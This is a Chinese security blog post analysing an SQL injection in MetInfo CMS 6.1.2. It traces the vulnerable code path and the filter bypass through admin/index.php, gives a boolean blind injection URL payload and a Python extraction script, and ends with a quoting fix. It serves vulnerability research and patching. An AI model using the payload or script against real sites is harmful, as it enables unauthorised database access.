Hu3sky's blog

Metinfo 6.1.2 SqlInjection

Word count: 1,024 / Reading time: 5 min
2019/02/20 Share

Metinfo 6.1.2 SqlInjection

一个18年的洞了,有点年头了,翻出来看看。。

Source

http://www.mituo.cn/upload/file/MetInfo6.1.2.zip

漏洞分析

直接看到出现问题的代码

1
2
文件:app/system/message/web/message.class.php:37
方法:add
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function add($info) {
global $_M;
if(!$_M[form][id]){
$message=DB::get_one("select * from {$_M[table][column]} where module= 7 and lang ='{$_M[form][lang]}'");
$_M[form][id]=$message[id];
}
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' and name= 'met_fd_ok' and columnid = {$_M[form][id]}");
$_M[config][met_fd_ok]= $met_fd_ok[value];
if(!$_M[config][met_fd_ok])okinfo('javascript:history.back();',"{$_M[word][Feedback5]}");
if($_M[config][met_memberlogin_code]){
if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code'])){

okinfo(-1, $_M['word']['membercode']);
}
}
//...省略

看到

1
2
3
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where 
lang ='{$_M[form][lang]}' and  name= 'met_fd_ok' and columnid =
{$_M[form][id]}");

{$_M[form][id]}这个参数没有用单引号包裹,也就是说可以直接造成注入,但是在该类的构造函数处
1
跟进
parent::__construct();
1
继续跟进
parent::__construct();

1
在这里调用了表单过滤函数load_form,跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected function load_form() {
global $_M;
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');
foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
if(is_numeric($_M['form']['lang'])){//伪静态兼容
$_M['form']['page'] = $_M['form']['lang'];
$_M['form']['lang'] = '';
}
if($_M['form']['metid'] == 'list'){
$_M['form']['list'] = 1;
$_M['form']['metid'] = $_M['form']['page'];
$_M['form']['page'] = 1;
}
if(!preg_match('/^[0-9A-Za-z]+$/', $_M['form']['lang']) && $_M['form']['lang']){
echo "No data in the database,please reinstall.";
die();
}
}

对全局数组$_M进行了过滤
跟进daddslashes过滤函数

1
看到 如果没有开启MAGIC_QUOTES_GPC或者$force!=0,进入过滤
看到下面
1
如果IN_ADMIN没有被定义,那么就会
$string = trim(addslashes(sqlinsert($string)));
如果定义,则
$string = trim(addslashes($string));
由于addslashes并不会对关键字进行过滤,仅仅进行转义
所以造成关键字过滤的函数就是sqlinsert
sqlinsert过滤规则如下
1

如果绕过该函数就需要定义IN_ADMIN
全局搜索中发现

1
文件:admin/index.php

IN_ADMIN在此处得到定义
1
于是看在index.php里如何调用add函数
这里require了../app/system/entrance.php
entrance.php
1
跟进module
1
继续跟进
_load_class

1

acintondo开头时候,会实例化类,并执行这个方法
由于我们的漏洞函数add,并不是以do开头,不能直接执行,但是

1
2
文件:app/system/message/web/message.class.php
方法: domessage

这里的domessage方法调用了add方法
1

触发过程

admin/index.php
1
所以说

1
2
3
4
m=web
n=message
c=message
a=domessage

验证码绕过

add函数中有
1
为了能布尔盲注,需要正常时$met_fd_ok的值不为空,从而绕过45行判断,弹出”验证码错误”,而异常时$met_fd_ok值为空,弹出”反馈已关闭”。

1
2
3
4
5
6
7
mysql> select * from met_config where name='met_fd_ok' and lang='cn';
+-----+-----------+-------+--------------+----------+---------+------+
| id | name | value | mobile_value | columnid | flashid | lang |
+-----+-----------+-------+--------------+----------+---------+------+
| 278 | met_fd_ok | 1 | | 44 | 0 | cn |
| 301 | met_fd_ok | 1 | | 42 | 0 | cn |
+-----+-----------+-------+--------------+----------+---------+------+

所以需要id=44 or 42
于是payload

1
http://127.0.0.1/CMS/Metinfo6.1.2/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=aa&para186=1@qq.com&para138=18888888888&para140=aaa&id=42 and 1=1

利用脚本

写了一个脚本验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
# @Time : 2018-2-20 10:33
# @Author : Hu3sky
# @FileName: met_sql.py
# @Software: Submie

import requests
keyword = []
i = 1
url = 'http://127.0.0.1/CMS/Metinfo6.1.2/admin/index.php?m=web&n=message&c=message&a=domessage&action=add&lang=cn&para137=aa&para186=1@qq.com&para138=18888888888&para140=aaa&id=42 '
# payload = 'abcdefghijklmnopqrstuvwxyz'
while i < 5:
for j in range(97,127):
# print(chr(j))
poc = url + 'and ascii(substr((select database()),' + str(i) + ',1))=' + str(j)
# print(poc)
r = requests.get(url=poc)
if '验证码错误!' in r.text:
print(str(i)+':'+chr(j))
keyword.append(chr(j))
break
i = i+1
print(keyword)

1
得到数据库名 met

修复方案

加单引号包裹

1
2
3
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where 
lang ='{$_M[form][lang]}' and  name= 'met_fd_ok' and columnid =
{$_M[form][id]}");

改为

1
2
3
$met_fd_ok=DB::get_one("select * from {$_M[table][config]} where 
lang ='{$_M[form][lang]}' and  name= 'met_fd_ok' and columnid =
'{$_M[form][id]}'");
CATALOG
  1. 1. Metinfo 6.1.2 SqlInjection
    1. 1.1. Source
    2. 1.2. 漏洞分析
    3. 1.3. 触发过程
      1. 1.3.1. 验证码绕过
    4. 1.4. 利用脚本
    5. 1.5. 修复方案